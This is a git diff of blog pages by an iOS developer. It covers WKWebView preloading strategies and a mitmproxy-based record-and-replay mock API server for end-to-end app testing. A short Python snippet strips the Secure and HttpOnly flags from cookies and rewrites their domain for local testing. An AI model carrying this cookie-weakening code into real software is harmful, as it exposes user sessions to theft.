+> _Personally, I think it is not feasible in reality, and the disadvantages outweigh the benefits, cutting off one's nose to spite one's face. 😕_ 
+
+### Enhance HTTP Cache + WKWebView Preload Pure Resources 🎉
+
+Based on the optimization method above, we can combine the HTML Link Preload method to preload only the resource files \(e.g. \.js, \.css, font, image...\) that will be used in the page, allowing users to directly use cached resources after entering without initiating network requests to fetch resource files.
+
+> **_This means I am not preloading everything on the entire page, I am only preloading the resource files that the page will use, which may also be shared across pages; the page file \.html is still fetched from the network and combined with the preloaded files to render the page._** 
+
+Please note: We are still using HTTP Cache here, so these resources must also support HTTP Cache, otherwise, future requests will still go through the network.
+
+```xml
+<!DOCTYPE html>
+<html lang="zh-tw">
+ <head>
+    <link rel="preload" href="https://cdn.zhgchg.li/dist/main.js" as="script">
+    <link rel="preload" href="https://image.zhgchg.li/v2/image/get/campaign.jpg" as="image">
+    <link rel="preload" href="https://cdn.zhgchg.li/assets/fonts/glyphicons-halflings-regular.woff2" as="font">
+    <link rel="preload" href="https://cdn.zhgchg.li/assets/fonts/Simple-Line-Icons.woff2?v=2.4.0" as="font">
+  </head>
+</html>
+

Common supported file types:

  • .js script
  • .css style
  • font
  • image

The Web Team will place the above HTML content in the path agreed upon with the App, and our WebViewPreloader will be modified to load this path, so that WKWebView will parse <link> preload resources and generate caches while loading.

1
+2
+3
+
WebViewPreloader.shared.preload("https://zhgchg.li/campaign/summer/preload")
+// or all in one
+WebViewPreloader.shared.preload("https://zhgchg.li/assets/preload")
+

After testing, a good balance between traffic loss and preloading can be achieved . 🎉

The downside is that maintaining this cache resource list is necessary, and web optimization for page rendering and loading is still required; otherwise, the perceived time for the first page to appear will still be long.

URLProtocol

Additionally, considering our old friend URLProtocol, all requests based on URL Loading System (URLSession, openURL…) can be intercepted and manipulated.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+
class CustomURLProtocol: URLProtocol {
+    override class func canInit(with request: URLRequest) -> Bool {
+        // Determine if this request should be handled
+        if let url = request.url {
+            return url.scheme == "custom"
+        }
+        return false
+    }
+    
+    override class func canonicalRequest(for request: URLRequest) -> URLRequest {
+        // Return the request
+        return request
+    }
+    
+    override func startLoading() {
+        // Handle the request and load data
+        // Change to a caching strategy, read files locally first
+        if let url = request.url {
+            let response = URLResponse(url: url, mimeType: "text/plain", expectedContentLength: -1, textEncodingName: nil)
+            self.client?.urlProtocol(self, didReceive: response, cacheStoragePolicy: .notAllowed)
+            
+            let data = "This is a custom response!".data(using: .utf8)!
+            self.client?.urlProtocol(self, didLoad: data)
+            self.client?.urlProtocolDidFinishLoading(self)
+        }
+    }
+    
+    override func stopLoading() {
+        // Stop loading data
+    }
+}
+
+// AppDelegate.swift didFinishLaunchingWithOptions:
+URLProtocol.registerClass(CustomURLProtocol.self)
+

Abstract idea is to secretly send URLRequest -> URLProtocol -> download all resources by yourself in the background, user -> WKWebView -> Request -> URLProtocol -> respond with preloaded resources.

Same as mentioned earlier, WKWebView runs on a separate thread outside the main thread of the app, so URLProtocol cannot intercept requests from WKWebView.

But I heard that using dark magic seems possible, not recommended, it may lead to other issues (rejection during review).

This path is blocked ❌.

WKURLSchemeHandler 😕

Apple introduced a new method in iOS 11, which seems to compensate for the inability of WKWebView to use URLProtocol. However, this method is similar to AVPlayer’s ResourceLoader, only system-unrecognized schemes will be handed over to our custom WKURLSchemeHandler for processing.

The abstract idea remains the same in the background, where WKWebView secretly sends Request -> WKURLSchemeHandler -> download all resources by yourself, user -> WKWebView -> Request -> WKURLSchemeHandler -> respond with preloaded resources.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+
import WebKit
+
+class CustomSchemeHandler: NSObject, WKURLSchemeHandler {
+    func webView(_ webView: WKWebView, start urlSchemeTask: WKURLSchemeTask) {
+        // Custom handling
+        let url = urlSchemeTask.request.url!
+        
+        if url.scheme == "custom-scheme" {
+            // Change to caching strategy, read file locally first
+            let response = URLResponse(url: url, mimeType: "text/html", expectedContentLength: -1, textEncodingName: nil)
+            urlSchemeTask.didReceive(response)
+            
+            let html = "<html><body><h1>Hello from custom scheme!</h1></body></html>"
+            let data = html.data(using: .utf8)!
+            urlSchemeTask.didReceive(data)
+            urlSchemeTask.didFinish()
+        }
+    }
+
+    func webView(_ webView: WKWebView, stop urlSchemeTask: WKURLSchemeTask) {
+        // Stop
+    }
+}
+
+let webViewConfiguration = WKWebViewConfiguration()
+webViewConfiguration.setURLSchemeHandler(CustomSchemeHandler(), forURLScheme: "mycacher")
+
+let customURL = URL(string: "mycacher://zhgchg.li/campaign/summer")!
+webView.load(URLRequest(url: customURL))
+
  • Because http/https are schemes that the system can handle, we cannot customize the handling of http/https; you need to switch the scheme to one that the system does not recognize (e.g., mycacher://).
  • All paths in the page must use relative paths to automatically append mycacher:// for our Handler to capture.
  • If you do not want to change http/https but still want to access http/https requests, you can only resort to dark magic, not recommended, as it may lead to other issues (rejection during review).
  • Cache page files and respond by yourself, Ajax, XMLHttpRequest, Fetch requests used in the page may be blocked by CORS Same-Origin Policy (because it will send requests from mycacher:// to http://zhgchg.li/xxx, different origins), requiring a decrease in website security to use.
  • You may need to implement your own Cache Policy, such as when to update? How long is it valid? (similar to what HTTP Cache does).

Overall, while theoretically feasible, the implementation requires a huge investment; it is not cost-effective and difficult to scale and maintain stability 😕

Feeling that the WKURLSchemeHandler method is more suitable for handling web pages with large resource files that need to be downloaded, declaring a custom scheme to be processed by the app to render the web page cooperatively.

Bridging WKWebView network requests to be sent by the app 🫥

Change WKWebView to use the interface defined by the app (WkUserScript) instead of Ajax, XMLHttpRequest, Fetch, for the app to request resources.

This example is not very helpful because the first screen appears too slow, not the subsequent loading; and this method will cause a deep and strange dependency relationship between Web and App 🫥

Starting from Service Worker

Due to security issues, only Apple’s own Safari app supports it, WKWebView does not support it❌.

WKWebView Performance Optimization 🫥

Optimize to improve the performance of loading views in WKWebView.

WKWebView itself is like a skeleton, and the web page is the flesh. After researching, optimizing the skeleton (e.g. reusing WKProcessPool) has limited effect, possibly a difference of 0.0003 -> 0.000015 seconds.

Local HTML, Local Resource Files 🫥

Similar to the Preload method, but instead of putting the active page in the App Bundle or fetching it remotely at startup.

Putting the entire HTML page may also encounter CORS same-origin issues; it feels like using the “Improve HTTP Cache + WKWebView Preload pure resources” method instead; putting it in the App Bundle only increases the App Size, fetching it remotely is WKWebView Preload 🫥

Frontend Optimization Approach 🎉🎉🎉

[Source: wedevs](https://wedevs.com/blog/348939/first-contentful-paint-largest-contentful-paint/){:target="_blank"}

Reference wedevs optimization suggestions, the frontend HTML page is expected to have four loading stages, from loading the page file (.html) at the beginning to First Paint (blank page), then to First Contentful Paint (rendering the page skeleton), then to First Meaningful Paint (adding page content), and finally to Time To Interactive (allowing user interaction).

Using our page for testing; browsers, WKWebView will first request the page body .html and then load the required resources, while building the screen for the user according to the program instructions. Comparing with the article, it is found that the page stages only go from First Paint (blank) to Time To Interactive (First Contentful Paint only has the Navigation Bar, which should not count much…), missing the intermediate stages of rendering for the user, thus extending the overall waiting time for the user.

And currently, only resource files have HTTP Cache settings, not the page body.

Additionally, you can refer to Google PageSpeed Insights for optimization suggestions, such as compression, reducing script size, etc.

Because the core of in-app WKWebView is still the web page itself; therefore, adjusting from the frontend web page is a very effective way to make a big difference with a small adjustment. 🎉🎉🎉

Improving User Experience 🎉🎉🎉

A simple implementation, starting from the user experience, adding a Loading Progress Bar, not just showing a blank page to confuse the user, let them know that the page is loading and where the progress is.🎉🎉🎉

Conclusion

The above is some ideation research on feasible solutions for WKWebView preloading and caching. The technology is not the biggest issue, the key is still the choice, which ways are most effective for users with the lowest development cost. Choosing these ways may achieve the goal directly with minor changes; choosing the wrong way will result in a huge investment of resources and may be difficult to maintain and use in the future.

There are always more solutions than difficulties, sometimes it’s just a lack of imagination.

Maybe there are some legendary combinations that I haven’t thought of, welcome everyone to contribute.

References

WKWebView Preload Pure Resource🎉 Solution can refer to the following video

"Preload strategies using WKWebView" by Jonatán Urquiza

The author also mentioned the method of WKURLSchemeHandler.

The complete Demo Repo in the video is as follows:

iOS Old Driver Weekly

The sharing about WkWebView in the Old Driver Weekly is also worth a look.

Chat

Long-awaited return to writing long articles related to iOS development.

If you have any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Travelogue 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Japan via Busan→Fukuoka Cruise

Medium Partner Program is finally open to global (including Taiwan) writers!

diff --git a/posts/5a5c4b25a83d/index.html b/posts/5a5c4b25a83d/index.html new file mode 100644 index 0000000000..dca20eaebe --- /dev/null +++ b/posts/5a5c4b25a83d/index.html @@ -0,0 +1,523 @@ + POC App End-to-End Testing Local Snapshot API Mock Server | ZhgChgLi
Home POC App End-to-End Testing Local Snapshot API Mock Server
Post
Cancel

POC App End-to-End Testing Local Snapshot API Mock Server

[POC] App End-to-End Testing Local Snapshot API Mock Server

Verification of the feasibility of implementing E2E Testing for existing apps and existing API architecture

Photo by [freestocks](https://unsplash.com/@freestocks?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by freestocks

Introduction

As a project that has been operating online for many years, continuously improving stability is a highly challenging issue.

Unit Testing

Due to the static + compiled + strongly typed nature of the development languages Swift/Kotlin or the dynamic to static transition from Objective-C to Swift, it is almost impossible to add Unit Testing later if testability was not considered during development to cleanly separate interface dependencies. However, the refactoring process can also introduce instability, leading to a chicken-and-egg problem.

UI Testing

Testing UI interactions and buttons; it can be implemented by slightly decoupling data dependencies in new or existing screens.

SnapShot Testing

Verifying whether the UI display content and style are consistent before and after adjustments; similar to UI Testing, it can be implemented by slightly decoupling data dependencies in new or existing screens.

It is very useful for transitioning from Storyboard/XIB to Code Layout or UIView from OC to Swift; you can directly import pointfreeco / swift-snapshot-testing for quick implementation.

Although we can add UI Testing and SnapShot Testing later, the coverage of these tests is very limited; most errors are not UI style issues but process or logic problems that interrupt user operations. If this occurs during the checkout process, involving revenue, the issue becomes very serious.

End-to-End Testing

As mentioned earlier, it is not feasible to easily add unit tests to the current project or to integrate units for integration testing. For logic and process protection, the remaining method is to perform End-to-End black-box testing from the outside, directly from the user’s perspective, to check whether important processes (registration/checkout, etc.) are functioning normally.

For major function refactoring, you can also establish process tests before refactoring and re-verify after refactoring to ensure that the functionality works as expected.

Refactoring along with adding Unit Testing and Integration Testing to increase stability, breaking the chicken-and-egg problem.

QA Team

The most direct and brute-force way of End-to-End Testing is to have a QA Team manually test according to the Test Plan, and then continuously optimize or introduce automated operations. Calculating the cost, it would require at least 2 engineers + 1 Leader spending at least half a year to a year to see results.

Evaluating the time and cost, is there anything we can do in the current situation or prepare for the future QA Team so that when there is a QA Team, we can directly jump to optimization and automation operations, or even introduce AI?

Automation

At this stage, the goal is to introduce automated End-to-End Testing, placed in the CI/CD process for automatic checks. The test content does not need to be too comprehensive; as long as it can prevent major process issues, it is already very valuable. Later, we can gradually iterate the Test Plan to cover more areas.

End-to-End Testing — Technical Challenges

UI Operation Issues

The principle of the App is more like using another test App to operate our tested App, and then finding the target object from the View Hierarchy. During testing, we cannot obtain the Log or Output of the tested App because they are essentially two different Apps.

iOS needs to improve the View Accessibility Identifier to increase efficiency and accuracy and handle Alerts (e.g., push notification requests).

In previous implementations on Android, there was an issue where the target object could not be found when mixing Compose and Fragment, but according to a teammate, the new version of Compose has resolved this.

Besides the common traditional issues mentioned above, a bigger problem is the difficulty of integrating dual platforms (writing one test to run on two platforms). Currently, we are trying to use a new testing tool mobile-dev-inc / maestro:

You can write a Test Plan in YAML and then execute tests on dual platforms. For detailed usage and trial experiences, stay tuned for another teammate’s article sharing cc’ed Alejandra Ts. 😝.

API Data Issues

The biggest testing variable for App E2E Testing is API data. If we cannot provide guaranteed data, it will increase the instability of the tests, leading to false positives, and eventually, everyone will lose confidence in the Test Plan.

For example, in testing the checkout process, if the product might be taken off the shelf or disappear, and these status changes are not controllable by the App, the above situation is very likely to occur.

There are many ways to solve data issues, such as establishing a clean Staging or Testing environment, or an Auto-Gen Mock API Server based on Open API. However, these all rely on the backend and external factors of the API. Additionally, the backend API, like the App, is an online project that has been running for many years, and some specifications are still being restructured and migrated, making it temporarily impossible to have a Mock Server.

Given these factors, if we get stuck here, the problem will remain unchanged, and the chicken-and-egg problem cannot be broken. We really can only “take the risk” and make changes first, dealing with issues as they arise.

Snapshot API Local Mock Server

“As long as the mindset doesn’t slip, there are more solutions than difficulties.”

We can think differently. If the UI can be snapshotted into images for replay verification testing, can the API do the same? Can we save the API Request & Response and replay them for verification testing later?

This introduces the main point of this article: establishing a “Snapshot API Local Mock Server” to record API Requests & Replay Responses, removing the dependency on API data.

This article only provides a Proof of Concept (POC) and has not yet fully implemented high-coverage End-to-End Testing. Therefore, the approach is for reference only. I hope it provides new insights for everyone in the current environment.

Snapshot API Local Mock Server

Core Concept — Record & Replay API Data

[Record] — After completing the development of the End-to-End Testing Test Case, enable the recording parameter and execute the test once. During this process, all API Requests & Responses will be saved in the respective Test Case directories.

[Replay] — When running the Test Case later, the corresponding recorded Response Data will be found from the Test Case directory according to the request to complete the testing process.

Illustration

Suppose we want to test the purchase process. The user opens the App, clicks on the product card on the homepage to enter the product detail page, clicks the purchase button at the bottom, a login box pops up to complete the login, completes the purchase, and a purchase success prompt pops up:

How UI Testing controls button clicks, input box inputs, etc., is not the main focus of this article; you can refer to existing testing frameworks for direct use.

Regular Proxy or Reverse Proxy

To achieve Record & Replay API, a Proxy needs to be added between the App and the API to perform a man-in-the-middle attack. You can refer to my earlier article “The APP uses HTTPS transmission, but the data is still stolen.

In simple terms, there is an additional proxy transmitter between the App and the API, like passing notes. The requests and responses exchanged between both parties will go through it. It can open the content of the notes and can also forge the content of the notes for both parties without them noticing.

Regular Proxy:

A regular proxy is when the client sends a request to the proxy server, the proxy server forwards the request to the target server, and then returns the response from the target server to the client. In a regular proxy mode, the proxy server initiates the request on behalf of the client. The client needs to explicitly specify the address and port number of the proxy server and send the request to the proxy server.

Reverse Proxy:

A reverse proxy is the opposite of a regular proxy. It sits between the target server and the client. The client sends a request to the reverse proxy server, which forwards the request to the backend target server according to certain rules and returns the response from the target server to the client. For the client, the target server appears to be the reverse proxy server, and the client does not need to know the real address of the target server.

For our needs, either regular or reverse proxy can achieve the goal. The only consideration is the method of proxy setup:

Regular Proxy requires setting up a Proxy in the network settings on the computer, phone, or emulator:

  • Android can directly set up a Proxy in the emulator.
  • iOS Simulator shares the computer’s network environment and cannot individually set up a Proxy, requiring changes to the computer’s settings to set up a Proxy. All traffic on the computer will go through this Proxy, and if other network tools like Proxyman or Charles are also running, they might forcefully change the Proxy settings to their own, causing it to fail.

Reverse Proxy requires changing the API Host in the Codebase and declaring all API Domains to be proxied:

  • The API Host in the Codebase needs to be replaced with the Proxy Server IP during testing.
  • When enabling Reverse Proxy, declare which Domains need to be proxied.
  • Only declared Domains will go through the Proxy; undeclared ones will go directly out.

For iOS App, the following example uses iOS & Reverse Proxy for POC. The same can be applied to Android.

Letting the iOS App Know It’s Running End-to-End Testing

We need to let the App know it’s running End-to-End Testing to add the API Host replacement logic in the App program:

1
+2
+3
+4
+
// UI Testing Target:
+let app = XCUIApplication()
+app.launchArguments = ["duringE2ETesting"]
+app.launch()
+

We make the judgment and replacement in the Network layer.

This is an unavoidable adjustment. Try to avoid changing the App’s Code just for testing.

Using MITMProxy to Implement Reverse Proxy Server

You can also use Swift to develop a Swift Server to achieve this. This article uses the MITMProxy tool for POC.

[2023–09–04 Update] Mitmproxy-rodo is Now Open Source

The implementation content below has been open-sourced to the mitmproxy-rodo project. Feel free to refer to and use it directly.

Some structures and content of this article have been adjusted, and the following adjustments were made when open-sourced:

  • Changed the storage directory structure to host / requestPath / method / hash
  • Fixed Header information storage, should be Bytes Data instead of pure JSON String
  • Corrected some errors
  • Added automatic extension of Set-Cookie expiration functionality

⚠️ The following script is for Demo reference only, subsequent script adjustments will be moved to the open-source project maintenance.

MITMProxy

Follow the MITMProxy official website to complete the installation:

1
+
brew install mitmproxy
+

For detailed usage of MITMProxy, you can refer to my earlier article “The APP uses HTTPS transmission, but the data is still stolen.

  • mitmproxy provides an interactive command-line interface.
  • mitmweb provides a browser-based graphical user interface.
  • mitmdump provides non-interactive terminal output.

Implementing Record & Replay

Since MITMProxy Reverse Proxy does not natively have the functionality to Record (or dump) requests & Mapping Request Replay, we need to write scripts to achieve this functionality.

mock.py :

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+187
+188
+189
+190
+191
+192
+193
+194
+195
+196
+197
+198
+199
+200
+201
+202
+203
+204
+205
+206
+207
+208
+209
+210
+
"""
+Example:
+    Record: mitmdump -m reverse:https://yourapihost.com -s mock.py --set record=true --set dumper_folder=loginFlow --set config_file=config.json
+    Replay: mitmdump -m reverse:https://yourapihost.com -s mock.py --set dumper_folder=loginFlow --set config_file=config.json
+"""
+
+import re
+import logging
+import mimetypes
+import os
+import json
+import hashlib
+
+from pathlib import Path
+from mitmproxy import ctx
+from mitmproxy import http
+
+class MockServerHandler:
+
+    def load(self, loader):
+        self.readHistory = {}
+        self.configuration = {}
+
+        loader.add_option(
+            name="dumper_folder",
+            typespec=str,
+            default="dump",
+            help="Response Dump directory, can be created by Test Case Name",
+        )
+
+        loader.add_option(
+            name="network_restricted",
+            typespec=bool,
+            default=True,
+            help="No Mapping data locally... setting true will return 404, false will make a real request to get data.",
+        )
+
+        loader.add_option(
+            name="record",
+            typespec=bool,
+            default=False,
+            help="Set true to record Request's Response",
+        )
+
+        loader.add_option(
+            name="config_file",
+            typespec=str,
+            default="",
+            help="Set file path, example file below",
+        )
+    
+    def configure(self, updated):
+        self.loadConfig()
+
+    def loadConfig(self):
+        configFile = Path(ctx.options.config_file)
+        if ctx.options.config_file == "" or not configFile.exists():
+            return
+
+        self.configuration = json.loads(open(configFile, "r").read())
+
+    def hash(self, request):
+        query = request.query
+        requestPath = "-".join(request.path_components)
+
+        ignoredQueryParameterByPaths = self.configuration.get("ignored", {}).get("paths", {}).get(request.host, {}).get(requestPath, {}).get(request.method, {}).get("queryParamters", [])
+        ignoredQueryParameterGlobal = self.configuration.get("ignored", {}).get("global", {}).get("queryParamters", [])
+
+        filteredQuery = []
+        if query:
+            filteredQuery = [(key, value) for key, value in query.items() if key not in ignoredQueryParameterByPaths + ignoredQueryParameterGlobal]
+        
+        formData = []
+        if request.get_content() != None and request.get_content() != b'':
+            formData = json.loads(request.get_content())
+        
+        # or just formData = request.urlencoded_form
+        # or just formData = request.multipart_form
+        # depends on your api design
+
+        ignoredFormDataParametersByPaths = self.configuration.get("ignored", {}).get("paths", {}).get(request.host, {}).get(requestPath, {}).get(request.method, {}).get("formDataParameters", [])
+        ignoredFormDataParametersGlobal = self.configuration.get("ignored", {}).get("global", {}).get("formDataParameters", [])
+
+        filteredFormData = []
+        if formData:
+            filteredFormData = [(key, value) for key, value in formData.items() if key not in ignoredFormDataParametersByPaths + ignoredFormDataParametersGlobal]
+        
+        # Serialize the dictionary to a JSON string
+        hashData = {"query":sorted(filteredQuery), "form": sorted(filteredFormData)}
+        json_str = json.dumps(hashData, sort_keys=True)
+
+        # Apply SHA-256 hash function
+        hash_object = hashlib.sha256(json_str.encode())
+        hash_string = hash_object.hexdigest()
+        
+        return hash_string
+
+    def readFromFile(self, request):
+        host = request.host
+        method = request.method
+        hash = self.hash(request)
+        requestPath = "-".join(request.path_components)
+
+        folder = Path(ctx.options.dumper_folder) / host / method / requestPath / hash
+
+        if not folder.exists():
+            return None
+
+        content_type = request.headers.get("content-type", "").split(";")[0]
+        ext = mimetypes.guess_extension(content_type) or ".json"
+
+
+        count = self.readHistory.get(host, {}).get(method, {}).get(requestPath, {}) or 0
+
+        filepath = folder / f"Content-{str(count)}{ext}"
+
+        while not filepath.exists() and count > 0:
+            count = count - 1
+            filepath = folder / f"Content-{str(count)}{ext}"
+
+        if self.readHistory.get(host) is None:
+            self.readHistory[host] = {}
+        if self.readHistory.get(host).get(method) is None:
+            self.readHistory[host][method] = {}
+        if self.readHistory.get(host).get(method).get(requestPath) is None:
+            self.readHistory[host][method][requestPath] = {}
+
+        if filepath.exists():
+            headerFilePath = folder / f"Header-{str(count)}.json"
+            if not headerFilePath.exists():
+                headerFilePath = None
+            
+            count += 1
+            self.readHistory[host][method][requestPath] = count
+
+            return {"content": filepath, "header": headerFilePath}
+        else:
+            return None
+
+
+    def saveToFile(self, request, response):
+        host = request.host
+        method = request.method
+        hash = self.hash(request)
+        requestPath = "-".join(request.path_components)
+
+        iterable = self.configuration.get("ignored", {}).get("paths", {}).get(request.host, {}).get(requestPath, {}).get(request.method, {}).get("iterable", False)
+        
+        folder = Path(ctx.options.dumper_folder) / host / method / requestPath / hash
+
+        # create dir if not exists
+        if not folder.exists():
+            os.makedirs(folder)
+
+        content_type = response.headers.get("content-type", "").split(";")[0]
+        ext = mimetypes.guess_extension(content_type) or ".json"
+
+        repeatNumber = 0
+        filepath = folder / f"Content-{str(repeatNumber)}{ext}"
+        while filepath.exists() and iterable == False:
+            repeatNumber += 1
+            filepath = folder / f"Content-{str(repeatNumber)}{ext}"
+        
+        # dump to file
+        with open(filepath, "wb") as f:
+            f.write(response.content or b'')
+            
+        
+        headerFilepath = folder / f"Header-{str(repeatNumber)}.json"
+        with open(headerFilepath, "wb") as f:
+            responseDict = dict(response.headers.items())
+            responseDict['_status_code'] = response.status_code
+            f.write(json.dumps(responseDict).encode('utf-8'))
+
+        return {"content": filepath, "header": headerFilepath}
+
+    def request(self, flow):
+        if ctx.options.record != True:
+            host = flow.request.host
+            path = flow.request.path
+
+            result = self.readFromFile(flow.request)
+            if result is not None:
+                content = b''
+                headers = {}
+                statusCode = 200
+
+                if result.get('content') is not None:
+                    content = open(result['content'], "r").read()
+
+                if result.get('header') is not None:
+                    headers = json.loads(open(result['header'], "r").read())
+                    statusCode = headers['_status_code']
+                    del headers['_status_code']
+
+                
+                headers['_responseFromMitmproxy'] = '1'
+                flow.response = http.Response.make(statusCode, content, headers)
+                logging.info("Fullfill response from local with "+str(result['content']))
+                return
+
+            if ctx.options.network_restricted == True:
+                flow.response = http.Response.make(404, b'', {'_responseFromMitmproxy': '1'})
+        
+    def response(self, flow):
+        if ctx.options.record == True and flow.response.headers.get('_responseFromMitmproxy') != '1':
+            result = self.saveToFile(flow.request, flow.response)
+            logging.info("Save response to local with "+str(result['content']))
+
+addons = [MockServerHandler()]
+

You can refer to the official documentation and adjust the script content as needed.

The design logic of this script is as follows:

  • File path logic: dumper_folder(a.k.a Test Case Name) / Reverse's api host / HTTP Method / Path join with - (e.g. app/launch -> app-launch) / Hash(Get Query & Post Content) /
  • File logic: Response content: Content-0.xxx, Content-1.xxx (the second request of the same request) … and so on; Response Header information: Header-0.json (same Content-x logic)

  • When saving, it will be saved sequentially according to the path and file logic; during Replay, it will be retrieved in the same order.
  • If the number of times does not match, for example, the same path is hit 3 times during Replay, but the Record only saves data up to the 2nd time; it will still respond with the 2nd time, which is the last result.
  • When record is True, it will hit the target Server to get the response and save it according to the above logic; when False, it will only read data locally (equivalent to Replay Mode).
  • When network_restricted is False, if there is no Mapping data locally, it will directly respond with 404; when True, it will hit the target Server to get the data.
  • _responseFromMitmproxy is used to inform the Response Method that the current response is from Local and can be ignored, _status_code borrows the Header.json field to store the HTTP Response status code.

config_file.json configuration file logic design is as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+
{
+  "ignored": {
+    "paths": {
+      "yourapihost.com": {
+        "add-to-cart": {
+          "POST": {
+            "queryParamters": [
+              "created_timestamp"
+            ],
+            "formDataParameters": []
+          }
+        },
+        "api-status-checker": {
+          "GET": {
+            "iterable": true
+          }
+        }
+      }
+    },
+    "global": {
+      "queryParamters": [
+        "timestamp"
+      ],
+      "formDataParameters": []
+    }
+  }
+}
+

queryParamters & formDataParameters:

Because some API parameters may change with each call, for example, some Endpoints will carry time parameters, at this time according to the Server’s design, the Hash(Query Parameter & Body Content) value will be different during Replay Request, resulting in no Mapping to Local Response. Therefore, an additional config.json is used to handle this situation. You can set certain parameters to be excluded from the Hash by Endpoint Path or Global, so you can get the same Mapping result.

iterable :

Because some polling check APIs may be called repeatedly at regular intervals, according to the Server’s design, many Content-x.xxx & Header-x.json files will be generated; but if we don’t care, we can set it to True, and the Response will continue to be saved and overwritten to the first file Content-0.xxx & Header-0.json.

Enable Reverse Proxy Record Mode:

1
+
mitmdump -m reverse:https://yourapihost.com -s mock.py --set record=true --set dumper_folder=loginFlow --set config_file=config.json
+

Enable Reverse Proxy Replay Mode:

1
+
mitmdump -m reverse:https://yourapihost.com -s mock.py --set dumper_folder=loginFlow --set config_file=config.json
+

Assembly & Proof Of Concept

0. Complete the Host replacement in the Codebase

And ensure that during testing, the API is switched to http://127.0.0.1:8080

1. Start Snapshot API Local Mock Server (a.k.a Reverse Proxy Server) Record Mode

1
+
mitmdump -m reverse:https://yourapihost.com -s mock.py --set record=true --set dumper_folder=addCart --set config_file=config.json
+

2. Perform E2E Testing UI Operations

Using the Pinkoi iOS App as an example, test the following flow:

Launch App -> Home -> Scroll Down -> Similar to Wish List Items Section -> First Product -> Click First Product -> Enter Product Page -> Click Add to Cart -> UI Response Added to Cart -> Test Successful ✅

The method of UI automation operation was mentioned earlier, here we manually test the same flow to verify the results.

3. Obtain Record Results

After the operation is completed, you can press ^ + C to terminate the Snapshot API Mock Server and check the recording results in the file directory:

4. Replay to verify the same flow, start the Server & Using Replay Mode

1
+
mitmdump -m reverse:https://yourapihost.com -s mock.py --set dumper_folder=addCart --set config_file=config.json
+

5. Perform the same UI operation again to verify the results

  • Left: Test Successful ✅
  • Right: Testing clicking on products other than the recorded ones will result in an Error (because there is no data locally + network_restricted is set to False by default, so it will directly return 404 without fetching data from the network)

6. Proof Of Concept ✅

The proof of concept is successful. We can indeed use the Reverse Proxy Server to store API Requests & Responses and use it as a Mock API Server to respond with data to the App during testing 🎉🎉🎉.

[2023-09-04] mitmproxy-rodo is now open source

Follow-up and Miscellaneous

This article only discusses the proof of concept. There are still many areas to be improved and more features to be implemented.

  1. Integration with maestro UI Testing tool
  2. CI/CD process integration design (How to automatically start the Reverse Proxy? Where to start it?)
  3. How to package MITMProxy into development tools?
  4. Verify more complex testing scenarios
  5. Verify the sent Tracking Requests, need to implement storing Request Body, then extract which Tracking Event Data was sent, and whether it matches the events that should be sent in the flow
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
#...
+    def response(self, flow):
+        setCookies = flow.response.headers.get_all("set-cookie")
+        # setCookies = ['ad=0; Domain=.xxx.com; expires=Wed, 23 Aug 2023 04:59:07 GMT; Max-Age=1800; Path=/', 'sessionid=xxxx; Secure; HttpOnly; Domain=.xxx.com; expires=Wed, 23 Aug 2023 04:59:07 GMT; Max-Age=1800; Path=/']
+        
+        # OR Replace Cookie Domain From .xxx.com To 127.0.0.1
+        setCookies = [re.sub(r"\s*\.xxx\.com\s*", "127.0.0.1", s) for s in setCookies]
+
+        # AND Remove Security-Related Restrictions
+        setCookies = [re.sub(r";\s*Secure\s*", "", s) for s in setCookies]
+        setCookies = [re.sub(r";\s*HttpOnly;\s*", "", s) for s in setCookies]
+
+        flow.response.headers.set_all("Set-Cookie", setCookies)
+
+        #...
+

If you encounter issues with Cookies, such as the API responding with a Cookie but the App not receiving it, you can refer to the adjustments above.

The Last Post on Pinkoi

During my 900+ days at Pinkoi, I realized many of my career aspirations and imaginations regarding iOS/App development and processes. I am grateful to all my teammates for walking through the pandemic and weathering the storms together; the courage to say goodbye is akin to the courage to pursue dreams and join the company initially.

I am embarking on a new life challenge (including but not limited to engineering). If you have suitable opportunities (iOS or engineering management or startup products), please feel free to contact me. 🙏🙏🙏

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Using Google Apps Script to Create a Free Github Repo Star Notifier in Three Steps

Travelogue 9/11 Nagoya One-Day Flash Free Travel

diff --git a/posts/5ea3311119d8/index.html b/posts/5ea3311119d8/index.html new file mode 100644 index 0000000000..1b6a7820a1 --- /dev/null +++ b/posts/5ea3311119d8/index.html @@ -0,0 +1 @@ + Bye Bye 2020: A Review of the Second Year on Medium | ZhgChgLi
